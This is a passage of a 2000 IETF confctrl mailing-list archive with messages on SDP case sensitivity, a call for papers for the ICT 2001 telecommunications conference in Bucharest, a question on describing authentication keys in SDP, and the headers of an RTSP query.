California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
..:|||||||:.:|||||||:..<br>
408 527
0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
C i s c o S y s t e m s<br>
rkumar@cisco.com&nbsp; <br>
-------------------------------------------------------<br>
<font size=2 color="#800000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
&nbsp;<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_2214594==_.ALT--


From confctrl-owner  Thu Aug 31 21:38:57 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA13660
	for confctrl-outgoing; Thu, 31 Aug 2000 21:38:57 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA13655
	for <confctrl@zephyr.isi.edu>; Thu, 31 Aug 2000 21:38:55 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id VAA04100
	for <confctrl@ISI.EDU>; Thu, 31 Aug 2000 21:40:09 -0700 (PDT)
Received: from dynamicsoft.com (1Cust105.tnt1.freehold.nj.da.uu.net [63.17.113.105])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA04879;
	Fri, 1 Sep 2000 00:41:45 -0400 (EDT)
Message-ID: <39AF32E4.6C97C93A@dynamicsoft.com>
Date: Fri, 01 Sep 2000 00:39:00 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Rajesh Kumar <rkumar@cisco.com>
CC: Naren Tulpule <naren@trillium.com>, confctrl@ISI.EDU, atmsdp@eng.fore.com,
        msf-media@msforum.org
Subject: Re: SDP case senstivity
References: <4.1.20000831111759.00dd3140@wanbu-mail.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Rajesh Kumar wrote:
> 
> I would like the feedback on the team on this issue. Here is what
> rfc232 says"
> 
>    "An SDP session description consists of a number of lines of text
> of
>    the form <type>=<value> <type> is always exactly one character and
> is
>    case-significant.  <value> is a structured text string whose format
>    depends on <type>.  It also will be case-significant unless a
>    specific field defines otherwise."
> 
> Per this para, rfc2327 allows case-insensitivity to be specified for
> parameter values AND for keywords. I have taken this "allowance" for
> all keywords and parameter values in the ATM SDP conventions. I look
> at case sensitivity as an unnecessary nuisance.
> 
> My view is that "case" should not matter, except for those instances
> in which case results in a difference of meaning. An effort should be
> made to ELIMINATE those instances up front, so that case-insensitivity
> is the general rule. The only exception is the line <type> e.g. "c",
> "m", "a", "o" etc. These need to be lower case.
> 
> However, I am prepared to be overruled on this for the sake of
> consistency across all genres of SDP descriptions. Let me know.

I am concerned about this. As the spec does not specify otherwise for
almost anything, most of SDP is case sensitive at the moment. I'd rather
not deviate here. CS is better anyway since (1) it is faster to parse
and easier to handle, (2) it restricts the number of options in the
protocol.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Mon Sep  4 08:21:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA10043
	for confctrl-outgoing; Mon, 4 Sep 2000 08:21:44 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA10035
	for <confctrl@zephyr.isi.edu>; Mon, 4 Sep 2000 08:21:42 -0700 (PDT)
Received: from elcom.pub.ro (root@iris.elcom.pub.ro [141.85.43.13])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11623;
	Mon, 4 Sep 2000 08:22:48 -0700 (PDT)
From: negrescu@elcom.pub.ro
Received: from dec1 (dec1.elcom.pub.ro [141.85.43.114])
	by elcom.pub.ro (8.9.3/8.9.3/Debian/GNU) with SMTP id RAA16534;
	Mon, 4 Sep 2000 17:16:22 +0300
Message-Id: <200009041416.RAA16534@elcom.pub.ro>
Comments: Authenticated sender is <cngrscu@mail.elcom.pub.ro>
To: dini@att.com, eugenbo@elcom.pub.ro
Date: Mon, 4 Sep 2000 18:19:43 +0000
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Subject: ICT2001 - Call for Papers
Reply-to: ICT2001-RO@elcom.pub.ro
CC: ActiveNets_Wire@ittc.ukans.edu, announcements.chi@xerox.com,
        cnom@maestro.bellcore.com, commsoft@cc.bellcore.com,
        commsoft@cc.bellcore.com, conf@colmar.uha.fr, confctrl@ISI.EDU,
        CONFERENCES@iao.fhg.de, Conferencesa@comsoc.org,
        COST237-TRANSPORT@COMP.LANCS.AC.UK, Cost264@lip6.fr,
        diff-serv-interest@BayNetworks.COM, domain3@BXL.DG13.cec.be,
        end2end-interest@ISI.EDU, end2end-interest@ISI.EDU,
        gi-fb3@fokus.gmd.de, giga@tele.pitt.edu, gsmp@psyton.com,
        hipparch@sophia.inria.fr, IEEETCPC@listserv.utoronto.ca,
        IETF-Announce@es.net, ifip-nm@prosun.first.gmd.de,
        info-confs@comsoc.org, itc@ieee.org, kuvs-elg@fokus.gmd.de,
        member@ieee-pin.org, msf-members@msforum.org, nichains@BXL.DG13.cec.be,
        opensig-announce@ctr.columbia.edu, SANFRAN@ACM.ORG, tccc@ieee.org,
        tcgn@ieee.org, negrescu@elcom.pub.ro
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42a)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from Quoted-printable to 8bit by zephyr.isi.edu id IAA10038
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Colleagues,

 ICT 2001, the 8th IEEE International Conference on
 Telecommunications will be held on 4-7 June 2001, in Bucharest,
 Romania.

 The submission procedures, information on place of the conference,
 technical program, registration and accommodation information can be
 timely found at http://ict2001.ici.ro, the official site of the
 conference.

 At ICT 2001 we expect to present the latest novelties in
 telecommunications, in general, and to offer the occasion for
 introducing the most remarkable achievements in narrowed areas
 concerning conference related topics. Please consider to contribute
 in the most convenient way for making value to your scientific and
 practical achievements, or to promote your software or hardware
 products.

 There will be tens of technical sessions over three days, including
 numerous tutorials in the fourth one. Many panel sessions and
 exhibition will be held each day. Additionally, papers-in-progress
 sessions and posters will flavor the next results and contribute to a
 fruitful debate.

 We will be glad to count you among our guests at the conference.

Please find here the first Call for Papers for ICT 2001.
This Call for Papers has been sent to several distribution lists.
Please accept our apologies if you receive duplicate messages.

Petre DINI, Prof. Dr. Eng.
AT&T Labs, ITD
2665 North First Street, #110
San Jose, CA 95134



===================================================================
			 ICT 2001
IEEE  INTERNATIONAL CONFERENCE ON TELECOMMUNICATIONS
	       4 - 7 June 2001, Bucharest, ROMANIA
	    Parliament of Romania -  International Conference Centre
		        http://ict2001.ici.ro
        sponsored by: IEEE, ComSoc, RomTelecom and others
===================================================================

=====================
FIRST CALL FOR PAPERS
=====================

The International Conference on Telecommunications (ICT) is a significant
scientific and technical conference having a balanced East-West character,
with topics broadly covering almost all telecommunications aspects, under
the theme of "Bridging East and West through Telecommunications". This
edition of ICT 2001 has a particular character, being the first ICT
conference in the Third Millennium, thus effectively making the bridge
between millennia. This conference is scientifically sponsored by
international organizations and technically endorsed by many industry
leaders.

A significant target of ICT events is to highlight the most relevant
communication technologies trends and related information technologies as
well. The conference tutorials are focused on key new topics in the field.
The session and poster presentations usually cover the most advanced topics
on telecommunications, with professionals coming from different places of
the world. ICT 2001 intends to have a large international participation and
is going to bring together scientists from all over the world as well as
companies, manufacturers, telecommunication operators, service developers,
and other organizations interested in telecommunications.

ICT HISTORY
===========
ICT was firstly initiated by King's College, London (UK) and is receiving
the support of Institute of Electrical and Electronic Engineering (IEEE) and
Institute of Electrical Engineering (IEE).
Based on the initial success of Dubai in 1994, ICT has been held yearly in
Bali (1995), Istanbul (1996), Melbourne (1997), Chalkidiki - Porto Carras
(1998), Taejon (1999, http://ict99.icu.ac.kr ) and  Acapulco (2000,
http://telecom.fi-b.unam.mx/ict/ ).
Many scientists, students, professionals, and technical staff, representing
a large variety of organisations such as universities, research institutes,
telecommunication operators and industry, have attained each previous ICT
events.


ICT 2001
=======
The 8th edition of ICT will be held on 4-7 June 2001 in Bucharest, Romania.
ICT 2001 will offer tutorials, plenary sessions, poster sessions, panels,
and exhibition opportunities.  ICT 2001 will cover a variety of challenging
telecommunication topics ranging from background fields like signals,
traffic, coding, communication basics up to large communication systems and
networks, fixed, mobile and integrated. Applications, services, system and
network management issues will also receive significant attention. ICT 2001
will have as an associate event a technical exhibition for equipments,
hardware and software technologies, as well as special courses on high-tech
products, providing an excellent opportunity of promoting new achievements
in the field.

PLACE OF THE CONFERENCE
========================
The place of the conference is Bucharest, the capital city of
Romania, the Parliament International Conference Centre. The
history of Romania is a major part of the history of central-eastern Europe.
Rooted in the Roman Empire of the first millennium AD, Romanians have
continuously inhabited the same geographical area. Romania is a Latin
language country.

Bucharest has been founded in 1459 on the banks of the Dambovita river in
the southeast part of the country by the ruler Vlad Tepes and became later
the capital city of the Princely Court. After the achievement of the
Romanian national unity (1859), Bucharest became and remained the capital of
the country. Bucharest has more than two million of inhabitants. Bucharest
hosts many industrial companies' headquarters, and stays as the main
cultural center of Romania, with many universities, theatres, opera, and
museums.

The city is situated close to the beautiful natural Herastrau Park. Not far
away from Bucharest are Prahova Valley and Carpathian Mountains (100
miles/160 km), where some on-demand trips could be organised for visiting
medieval castles and churches. ...and Dracula's Castle is just there.

ICT 2001 LOCAL ORGANISERS
========================
*	Romanian Academy
*	Technical Science Academy
*	National Agency for Science, Technology and Innovation (NASTI)
*	National Agency for Communications and Informatics (NACI)
*	University "Politechnica" of Bucharest, Telecommunications Department
*	National Institute for Research and Development in Informatics (ICI)
*	University "Transilvania" of Brasov
*	IEEE Romanian Communication Chapter
*                 National Council for Academic Research
*    	Romanian National Education Ministry

SPONSORSHIP/SUPPORT
==================
Organisations are encouraged to offer support/sponsorship to ICT 2001.

The Romanian national telecommunication operator ROMTELECOM S.A is
already committed in supporting ICT 2001 as Main Platinum Sponsor.

AT&T Labs/San Jose/USA,  Concordia University/Montreal/Canada,
CANAD Systems/Romania and TOPEX/Romania are involved in organisation and
also committed for sponsorship.



CONFERENCE TOPICS
==================
The topics include, but are not limited to (see the detailed topic list on
ICT 2001 web site at http://ict2001.ici.ro )
1.  	Communication Theory
2.  	Signal Processing
3. 	Antennas and Propagation
4. 	Microwave Circuits and Systems
5. 	Optical Communication / Photonics Technologies
6. 	Satellite & Space Communications
7. 	Broadband 3G Wireless Communications
8. 	Communications Networks, Switching and Services
9.   	Network Operations & Management
10.             Mobile Computing & Networking
11.             Multimedia Communications
12.  	Internet
13.  	Programmable and Active Networks
14.             Software Technologies in Communication Systems and Networks



PAPER PROPOSALS
================
Participants are kindly invited to submit original papers addressing the
topics in the area of telecommunications for presentation and publication in
the conference proceedings.

While the submission version may vary in length, the final version must be
of maximum five (5) pages long, should be printed on ISO A4 white papers,
written in English in two-column format in times or a similar font, 10
points with 2.5 cm margins on all four sides. Subject of reasonable
additional printing fees per page, longer papers will be accepted for
publication. Accepted formats are .pdf, .ps, and .rtf. All presenting
authors must register for the conference. Reception of the papers will be
acknowledged by electronic or surface mail.

Our Technical Program Committee members and their teams will carefully
review each paper. Each submission must be accompanied by a letter that
includes the following information: full title of the paper, technical area,
author(s) details (name, postal and email addresses, telephone and fax
number), and contact author. Submissions could be electronically done or 4
hard copies must be sent to the appropriate contact address listed below.

A selection of outstanding papers is considered for a Special Issue
of an International Journal.

TUTORIAL & COURSE PROPOSALS
=============================
Tutorials are intended for those hot coming topics in the fields, whereas
courses may refer to fundamental concerns outlining the subject area or the
specific training on a particular hardware/software a company would like to
do. Proposals must be sent according to the template displayed at
http://ict2001.ici.ro. We will diligently work to invite and accept
outstanding proposals.

EXHIBITION PROPOSALS
=====================
Companies are invited to exhibit their software and hardware products. We
provide a large promotion opportunity and a variety of ways for achieving
it. Please contact ICT Exhibition Chairs and check on ICT 2001 web site.

POSTER AND IN-PROGRESS WORK
=============================
ICT 2001 will also promote ongoing works and facilitate short selected
presentations be displayed and defended during the conference. Presentations
via self-content slides are expected for this type of proposal. For each
paper, 6-8 carefully designed slides will be hosted on special designated
billboards and a special time slot will be daily allocated for
presentations.

PANELS PROPOSALS
==================
ICT 2001 organisers encourage scientists and industry leaders to organize
dedicated panels dealing with controversial and challenging topics and
paradigms. Panel moderators are asked to identify their guests and manage
that their appropriate talk supports timely reach our deadlines. Moderators
must specifically submit an official proposal, indicating their background,
panellist names, their affiliation, the topic of the panel, as well as short
biographies.

SPECIAL SESSION PROPOSALS
==========================
For particular topics of interest, we ask technology and scientific leaders
to propose to the organizers special sessions on their preferred topics.
They should scientifically manage the session content by selecting and
inviting appropriate authors and speakers. Our technical program committee
will assist them in evaluating the submissions and classify them. As chairs
of special sessions, they will have the opportunity to select those
proposals reaching their expectations.

Important deadlines:
================

December 15th, 2000       paper submission
January 30th, 2001	         notification of paper acceptance
February 28th, 2001	         camera-ready version and early registration

January 15th, 2001	         tutorial and short course proposals
February 1st, 2001	         notification for tutorials and course proposals

April 15th, 2001	         handovers for printing and binding for attendees

January 15th, 2001	         poster and in-progress proposals
January 30th, 2001	         notification for poster and in-progress proposals
February 28th, 2001	         camera-ready version of presentations  and early registration

November 15th, 2000       panel and special session proposals
December 15th, 2000       paper submission for special sessions
January 30th, 2001	         exhibition proposal/notification for  special  session papers
February 28th, 2001	         notification for exhibitions and panels
		         camera-ready version for special sessions and
                                                          panel handovers
		         early registration for all proposals

CONTACTS
==========

General information:
====================
1. Teodor Petrescu, mailto:teodor.petrescu@munde.pub.ro
               Phone: (40 1) 400 33 04, Fax (40 1) 411 30 88
2. Dumitru Stanomir, mailto:mitrus@elcom.pub.ro
               Phone: (40 1) 400 33 04, Fax (40 1) 411 30 88
3. Grazziela Niculescu, mailto:grati@elcom.pub.ro
               Phone: (40 1) 400 33 04, Fax (40 1) 411 30 88
4. Sorin Zoican, mailto:sorin@elcom.pub.ro
             Phone: (40 1) 400 33 04, Fax (40 1) 411 30 88

Full papers, posters, in-progress papers must be sent electronically to:
========================================================================
Cristian Negrescu,  mailto:negrescu@elcom.pub.ro
             Phone: (40 1) 410 54 00 int. 239,   Fax (40 1) 411 30 88

Hard copies must be send to the mail address:
=============================================
      University "Politehnica" of Bucharest
      ICT 2001
      P.O. Box 15-79
      Bucharest, 76250
      ROMANIA


Tutorials proposals must be sent electronically to:
===================================================
1. Alexandru Serbanescu, mailto:serbal@co.cnscc.ro
		Phone: (40 1) 659 73 50
2. Andrei Negulescu, mailto:negulescu@att.com
                                       mailto:andrei@attlabs.att.com
		Phone: (408) 576-4026

Exhibition proposals and inquiries:
===================================
1. Gheorghe Minea (Canad), mailto:minea@canad.ro
            Phone: (40 1) 323 68 88, Fax: (40 1) 322 37 60
2. Calin Popescu (TOPEX), mailto:c.popescu@topex.ro
            Phone: (40 1) 491 54 64, Fax: (40 1) 240 31 70


Special Sessions Proposals:
===========================
mailto:ict2001-ro@elcom.pub.ro
mailto:pdini@ieee.org
mailto:pdini@acm.org

Panels Proposals
================
mailto:ict2001-ro@elcom.pub.ro
mailto:pdini@ieee.org
mailto:pdini@acm.org

Sponsorship Relationship:
========================
1. Petre Dini, mailto:pdini@ieee.org,  mailto:pdini@acm.org
            Phone: 1 (408)576-1417, Fax: 1 (408) 576-1461
2. Florin Gheorghe Filip, mailto:ffilip@acad.ro,
            Phone: (40) 94777455, Fax (40 1) 224 05 39
3. Victor Croitoru, mailto:croitoru@ADComm.pub.ro
            Phone: (40 1) 400 33 04, Fax: (40 1) 411 30 88
4. Eugen Borcoci, mailto:eugenbo@elcom.pub.ro
           Phone: (40 1) 410 12 30, Fax:(40 1) 410 12 30

You can find details about the conference either visiting our conference
site at http://ict2001.ici.ro or sending e-mail
mailto:ict2001-ro@elcom.pub.ro


CONFERENCE CHAIR
=================
Petre Dini, AT&T Labs, USA

STEERING COMMITTEE
===================
Hamid Aghvami, King's College, London, UK
Alessandro Barbagli, European Commission, Brussels, Belgium
Ioan Constantin, University "Politehnica" of Bucharest, Romania
Mihai Draganescu, Romanian Academy, Romania
Ion Dumitrache, University "Politehnica" of Bucharest, Romania
Florin Gheorghe Filip, Romanian Academy, Romania
Sergiu Iliescu, National Agency for Communications and Informatics, Romania
Kenneth Laker, University of Pennsylvania, PA, USA
Farokh Marvasti, King's College London, UK
Adelaida Mateescu, University "Politehnica" of Bucharest, Romania
Nelu Mihai, CPlane, USA
Radu Popescu-Zeletin, GMD-Fokus Berlin, Germany

CONFERENCE VICE-CHAIRS
=======================
Eugen Borcoci, University "Politehnica" of Bucharest, Romania
Victor Croitoru, IEEE Romanian Communication Chapter, Romania
Florin Gheorghe Filip, Romanian Academy, Romania
Dumitru Stanomir, Technical Science Academy, Romania

TECHNICAL PROGRAM CHAIR
=========================
Petre Dini, AT&T Labs, USA

TECHNICAL PROGRAM CO-CHAIRS
=============================
Ion Banica, University "Politehnica" of Bucharest, Romania
Eugen Borcoci, University "Politehnica" of Bucharest, Romania
Florin Gheorghe Filip, Romanian Academy, Romania
Stefan Iancu, Romanian Academy, Romania
Eugenie Staicut, ICI, Romania
Dumitru Stanomir, Technical Science Academy, Romania

TUTORIAL CO-CHAIRS
===================
Andrei Negulescu, AT&T Labs, San Jose, USA
Alexandru Serbanescu, Military Technical Academy Bucharest, Romania

INTERNATIONAL INDUSTRIAL CONNECTION CHAIR
============================================
Anna Tu, Cisco Networks, USA,



SILICON VALLEY PROMOTION CHAIR
===============================
Bjorn Frogner, NetPredict, USA

INTERNATIONAL UNIVERSITY CONNECTION CO-CHAIRS
===============================================
Cosmin Dini, McGill University, Canada
Manuela Dini, McGill University, Canada

ROMANIAN INSTITUTION CONNECTION CO-CHAIRS
============================================
Ioan Constantin, University "Politehnica" of Bucharest, Romania
Ion Marghescu, University "Politehnica" of Bucharest, Romania
Wildebald Szabo, University "Transilvania" of Brasov, Romania

ROMANIAN INDUSTRIAL CONNECTION CO-CHAIRS
===========================================
Vasile Baltac, ATIC, Romania
Alexandru Borcea ARIES, Romania
Gheorghe Minea, Canad Systems, Romania
Ion Stanciulescu, CNSCC, Romania
Vlad Tepelea, ANIS, Romania

ORGANISING COMMITTEE CHAIR
============================
Teodor Petrescu, University "Politehnica" of Bucharest, Romania

GENERAL SECRETARY CO-CHAIRS
=============================
Stefan Iancu, Romanian Academy, Romania
Grazziela Niculescu, University "Politehnica" of Bucharest, Romania

LOGISTIC SECRETARIAT CHAIR
==========================
 Grazziela Niculescu, University "Politehnica" of Bucharest, Romania

SCIENTIFIC SECRETARIAT
======================
Cristian Negrescu, University "Politehnica" of Bucharest, Romania
Sorin Zoican, University "Politehnica" of Bucharest, Romania

FINANCIAL CO-CHAIRS
====================
Vica Dini, Kappa-Form, Inc., Montreal, Canada
Elsa Sztojanov, University "Politehnica" of Bucharest, Romania

EXHIBITION CO-CHAIRS
====================
Gheorghe Minea, Canad Systems, Romania
Calin Popescu, Topex, Romania

PUBLICITY AND PUBLICATION CO-CHAIRS
====================================
Octavian Fratu, University "Politehnica" of Bucharest, Romania
Simona Halunga, University "Politehnica" of Bucharest, Romania

ORGANIZING COMMITEE
=====================
Romeo Ilie, ICI, Romania
Gheorghe Minea, Canad Systems, Romania
Grazziela Niculescu, University "Politehnica" of Bucharest, Romania
Florin Mitrea, Canad Systems, Romania
Adrian Paun, University "Politehnica" of Bucharest, Romania
Eugen Preotu, ATIC, Romania
Iuliu Szekely, University "Transilvania" of Brasov, Romania

WEBSITE SITE CO-CHAIRS
======================
Iulia Mirescu, ICI, Romania
Aurelian Nogai, University "Politehnica" of Bucharest, Romania
Cristian Toader, Canad Systems, Romania

TECHNICAL PROGRAM COMMITTEE
===============================
Akbar Adibi, Amirkabir University of Technology, Tehran, Iran
Nicolae Alexandru, Technical University "Gheorghe Asachi", Iasi, Romania
Tulin Atmaca, Institut National des Télécommunications, Evry, France
John William  Atwood, Concordia University, Montreal, Canada
Paul Walter Baier, Kaiserslautern University, Germany
Michel Barbeau, Carleton University, Canada
Leo Van Biesen, Vrije Universiteit Brussel, Belgium
Nils Bjorkman, Telia Research AB, Farsta, Sweden
Vasile Bota, Technical Institute of Cluj-Napoca, Romania
Stanislaw Budkowski, Institut National del Télécommunications, Evry, France
Vasile Buzuloiu, University "Politehnica" of Bucharest, Romania
Iancu Ceapa, University "Politehnica" of Bucharest, Romania
Dalton Cheng, Alcatel, Richardson, USA
Jun Kyun Choi, ETRI, Korea
Silviu Ciochina, University "Politehnica" of Bucharest, Romania
Sorin Cismas, IC Designer, USA
Luis Correia, Technical University of Lisbon, Portugal
Stefan Covaci, GMD-Fokus, Germany
Vladimir Cretu, Technical University of Timisoara, Romania
Valentin Cristea, University "Politehnica" of Bucharest, Romania
Nicolae Cupcea, University "Politehnica" of Bucharest, Romania
Jaime Delgado, Universitat Pompeu Fabra, Spain
Hans-Peter Dommel, Santa Clara University, CA, USA
Rachida Dssouli, Université of Montréal, Canada
Neculai Dumitriu, University "Politehnica" Bucharest, Romania
Fareed Sepehry-Fard, Solectron Corporation, CA, USA
Alex Galis, University College London, UK
Roch Glitho, Ericsson Research Inc., Montreal, Canada
Claude Gimenes, Institut National des Télécomunications, Evry, France
Liviu Goras, Technical University "Gheorghe Asachi", Iasi, Romania
Voicu Groza, University of Ottawa, Ottawa, Canada
Martin Haardt, Siemens, Munich, Germany
Kadri Hacioglu, University of Colorado at Boulder, USA
Abdel Hakim Hafid, Telcordia, USA
Mahbub Hassan, Monash University, Australia
Anders Hedin, Nutek, Stockolm, Sweden
Alexander Latour-Henner, MTI, Ireland
Eric Horlait, Universite Pierre et Marie Curie, France
Antonio Iera, University of Reggio Calabria, Italy
Sergiu Iliescu, University "Politehnica" of Bucharest, Romania
Dan Ionescu, University of Ottawa, Canada
Alexandru Isar, Technical University of Timisoara, Romania
Wojciech Kabaciñski, University of Technology, Poland
Masanori Kataoka, Hitachi Ltd., Japan
Hyun-Kook Kahng, Korea University, Chungnam, Korea
Dae Young Kim, Chungnam University, Korea
Venkatesh Krishnaswamy, Lucent Technologies Bell Labs, Holmdel, USA
Paul Labbe, Defence Research Establishment, Canada
Tal Lavian, Nortel Networks. Inc., CA, USA
Ileana Leuca, AT&T Wireless, Seattle, USA
Xavier Logean, Institute of Technology, Lausanne, Swiss
George Lojewski, University "Politehnica" of Bucharest, Romania
Kambiz Madani, Electronic Systems, University of Westminster, UK
Ion Marghescu, University "Politehnica" of Bucharest, Romania
Alan Marshal, Queen's University at Belfast, Ireland
Takis Mathiopoulos, University of British Columbia, Vancouver, Canada
Pericles Mitkas, Colorado State University/Aristotle University of
Thessaloniki, USA/Greece
Antonella Molinaro, University of Messina, Italy
Eckhard Moeller, GMD-FOKUS, Berlin, Germany
Ioan Nafornita, Technical University of Timisoara, Romania
Keiichi Nakane, Hitachi Ltd., Santa Clara, USA
Victor Neagoe, University "Politehnica" of Bucharest, Romania
Nikolai Nefedov, Nokia, Finland
Cristian Negrescu, University "Politehnica" of Bucharest, Romania
Grazziela Niculescu, University "Politehnica" of Bucharest, Romania
Ser Wah Oh, ST Microelectronics Asia Pacific, Singapore
Lars Olsson, Lund University, Sweden
Guy Omidyar, Computer Sciences Corporation, USA
Arogyaswami Paulraj, Stanford University, Menlo Park, USA
Niovi Pavlidou, Aristotle University of Thessaloniki, Greece
Dorina Petriu, Carleton University, Ottawa, Canada
Emil Petriu, University of Ottawa, Ottawa, Canada
Reinhard Posch, IAIK TU-Graz, Austria
Didoe Prevedourou, Intracom S.A., Greece
Kimmo Raatikainen, Nokia Research Center & University of Helsinki, Finland
Pertti Raatikainen, VTT Information Technology, Finland
Tatiana Radulescu, University "Politehnica" of Bucharest, Romania
Omar Rafiq, Université de Pau, France
Mika Rinne, Nokia, Finland
Byeong-hee Roh, Ajou University, Seoul, Korea
Mihaela Sabin, University of New Hampshire, USA
Alexandru Serbanescu, Military Technical Academy Bucharest, Romania
Nirmala Shenoy, RMIT University, Australia
Zoran Skocir, University of Zagreb, Croatia
Said Soulhi, Ericsson Research, Montreal, Canada
Pradip Srimani, Colorado State University, USA
Eugenie Staicut, ICI, Romania
Maciej Stasiak University of Technology, Poznan, Poland
George Stamoulis, University of Crete and ICS-FORTH, Greece
Ray Sundararaman, Lucent, USA
Ioan Tabus, Tampere University of Technology, Finland
Nicolae Tapus, University "Politehnica" of Bucharest, Romania
Yoshitaka Takasaki, Toyo University, Kawagoe, Japan
Gheorge Toacse, Transilvania University, Brasov, Romania
Sebastiano Trigila, FUB, Rome, Italy
Fred Truchetet, IUT, Le Creusot, France
Hiroshi Yasuda, University of Tokyo, Japan
Bengt Zdebel, Telia Research AB, Farsta, Sweden
Sorin Zoican, University "Politehnica" of Bucharest, Romania
Wilmut Zschunke, Technische Hochschule Darmstadt, Germany
Hans-Juergen Zepernick, ATCRC, Australia

Note: Members of Steering Committee and Technical Program
Co-Chairs are implicitly considered

From confctrl-owner  Wed Sep  6 02:34:14 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA25305
	for confctrl-outgoing; Wed, 6 Sep 2000 02:34:14 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA25300
	for <confctrl@zephyr.isi.edu>; Wed, 6 Sep 2000 02:34:12 -0700 (PDT)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA10969
	for <confctrl@isi.edu>; Wed, 6 Sep 2000 02:35:28 -0700 (PDT)
Received: from kaipara.live.com (mg128-006.ricochet.net [204.179.128.6])
	by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id CAA25966
	for <confctrl@isi.edu>; Wed, 6 Sep 2000 02:35:07 -0700 (PDT)
Message-Id: <4.3.1.1.20000906021344.00bb8c00@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 06 Sep 2000 02:31:45 -0700
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: How are authenticated sessions described using SDP?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Is there any consensus on how authenticated media sessions - i.e., sessions 
that have an associated authentication key - are described using SDP?  The 
current SDP spec says how to describe an *encryption* key, but not an 
*authentication* key.  (Note that I'm referring not to authentication of 
the SDP announcement (e.g., in SAP), but rather to authentication that 
would be applied to packets that are sent within the session itself.)

For typical media (audio, video, etc.), this is probably somewhat of a moot 
question right now, because I don't think we yet have an agreed-upon way of 
applying authentication (e.g., using digital signatures, cryptographic 
hashes, etc.) to RTP/RTCP sessions.  (This is something that will arise as 
a result of the secure multicast research group, right?)  But the reason I 
raise this question now is that someone recently asked me how 
authentication for *directory* sessions could be represented in SDP.  For 
directory sessions we do, indeed, have an idea how authentication would 
work - namely, the recent proposal for authenticated SAP.

	Ross.


From confctrl-owner  Wed Sep  6 02:36:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA25393
	for confctrl-outgoing; Wed, 6 Sep 2000 02:36:03 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA25388
	for <confctrl@zephyr.isi.edu>; Wed, 6 Sep 2000 02:36:02 -0700 (PDT)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA11579
	for <confctrl@isi.edu>; Wed, 6 Sep 2000 02:37:18 -0700 (PDT)
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate.mot.com (motgate 2.1) with ESMTP id CAA28309 for <confctrl@isi.edu>; Wed, 6 Sep 2000 02:37:17 -0700 (MST)]
Received: [from hpux4.miel.mot.com (hpux4.miel.mot.com [217.1.84.89]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id CAA07123 for <confctrl@isi.edu>; Wed, 6 Sep 2000 02:37:15 -0700 (MST)]
Received: from pc127160 (pc127160.miel.mot.com [217.1.127.160])
	by miel.mot.com (8.9.3/8.9.3) with SMTP id PAA27567
	for <confctrl@isi.edu>; Wed, 6 Sep 2000 15:12:15 +0530 (IST)
Message-ID: <01f001c017e7$d4abd890$a07f01d9@pc127160.miel.mot.com>
From: "Saritha Sivapuram" <saritha@miel.mot.com>
To: <confctrl@ISI.EDU>
Subject: RTSP Query
Date: Wed, 6 Sep 2000 15:20:03 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01ED_01C01815.EE503E70"
